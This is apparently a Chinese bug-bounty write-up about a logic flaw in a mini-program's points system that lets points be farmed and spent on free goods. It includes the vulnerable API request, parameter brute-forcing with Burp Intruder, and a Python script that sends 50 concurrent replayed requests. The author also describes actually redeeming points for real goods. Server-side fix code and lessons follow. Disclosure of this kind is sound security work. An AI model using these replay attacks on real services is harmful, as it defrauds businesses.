引
言
0元购逻辑漏洞是指攻击者通过利用应用程序(如电商、积分系统、优惠券平台等)的业务逻辑缺陷,以零成本或极低成本非法获取高价值商品、服务或权益的漏洞。这种漏洞的本质是系统未正确验证用户是否满足付费条件或未正确执行关键业务逻辑,导致攻击者绕过支付环节直接获取资源。
一、漏洞背景
在某次SRC资产挖掘过程中,发现某集团子公司小程序存在高风险业务逻辑漏洞。该小程序与企业主站无表面关联,但实际归属于同一安全域,具备较高商业价值。
二、漏洞复现
1. 资产发现技巧
-
关键洞察:通过企业组织架构分析,识别出非核心业务线的小程序资产 -
探测手法:采用子域名爆破+小程序逆向工程结合的方式定位目标
2. 漏洞触发链路
-
进入小程序签到页面 → 观看20秒广告 → 进入积分任务列表
-
抓取 POST /task/complete
接口请求:POST /api/task/complete HTTP/1.1source=16&user_id=10001×tamp=1620000000
-
关键参数分析: -
source
参数控制任务类型(16对应观看视频任务) -
缺乏任务完成状态校验机制
三、漏洞利用
1. 积分盗刷手法
使用BP抓包会发出现这张图片
-
基础攻击:通过Burp Intruder对 source
参数进行数值型爆破
猜测source参数就是任务的参数,对这个source的值进行遍历,查看是否有隐藏任务,最后找到了个观看视频就能获取积分的任务 此时我的积分是140
# 成功案例(返回码200)source=16 → +10积分source=999 → +10积分(预期外响应)# 异常案例(防御痕迹)source=-1 → HTTP 403source=abc → HTTP 500
重放五次,获取50积分
-
高级攻击: # 并发攻击脚本片段(Python Requests版)import requestsfrom concurrent.futures import ThreadPoolExecutordefexploit(): url = "https://xxx/api/task/complete" headers = {...} data = {"source": "16", "user_id": "10001"}with ThreadPoolExecutor(max_workers=50) as executor: futures = [executor.submit(requests.post, url, headers=headers, data=data) for _ in range(50)]if __name__ == "__main__": exploit()
注意到网站可以利用积分进行0元购,只要一直重放或者并发或者爆破,可实现积分无限获取,最终0元购商城所有商品 于是编写脚本 就有了下图
获取了几w积分换了桶油,防止src吞洞,后续收到货了
2. 损害评估
-
单账号24小时内可刷取数万积分 -
实现0元兑换高价值商品(某品牌原油卡等) -
影响全平台所有绑定微信账号的用户
四、漏洞原理
1. 核心缺陷
业务逻辑存在三大致命漏洞:
-
任务状态机缺失:未校验视频实际观看时长 -
参数白名单失效: source
参数可接收任意整数值 -
幂等性校验缺失:同一请求可重复执行多次
2. 技术验证
通过Frida动态调试发现关键代码逻辑:
// 小程序原生代码片段functioncheckTaskCompletion(source) {if (source === 16) { // 硬编码任务类型 wx.requestPayment({/* 跳过支付流程 */}) }}
五、修复建议
1. 短期应急
-
立即下架涉事小程序版本 -
冻结异常账号的积分操作权限
2. 长期加固
// 推荐服务端校验方案(Spring Boot实现)@RestControllerpublicclassTaskController{@PostMapping("/complete")public ApiResponse completeTask(@RequestBody TaskRequest request){// 1. 参数黑白名单校验if (!Arrays.asList(1, 2, 16).contains(request.getSource())) {thrownew InvalidParamException("Invalid task type"); }// 2. 业务状态校验if (!taskService.isTaskAvailable(request.getUserId(), request.getSource())) {return ApiResponse.fail("Task already completed"); }// 3. 幂等性控制if (redis.exists("task:done:" + request.getRequestId())) {return ApiResponse.success("Duplicate request ignored"); }// 执行业务逻辑... }}
六、经验总结
1. 资产挖掘新思路
-
关注集团子公司的边缘业务系统 -
重视小程序/公众号等轻量级应用的资产登记
2. 攻防启示录
-
业务逻辑漏洞的危害往往超过传统漏洞
附:该漏洞已按SRC流程提交,获评P1级别奖励。
Q
后期我们将持续发布原创代码审计、src等漏洞挖掘文章,后期有些源码、挖掘思路等也会放进圈子哈~
有任何问题可后台留言
原文始发于微信公众号(Rot5pider安全团队):【SRC】小程序积分系统逻辑漏洞实现”0元购“
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论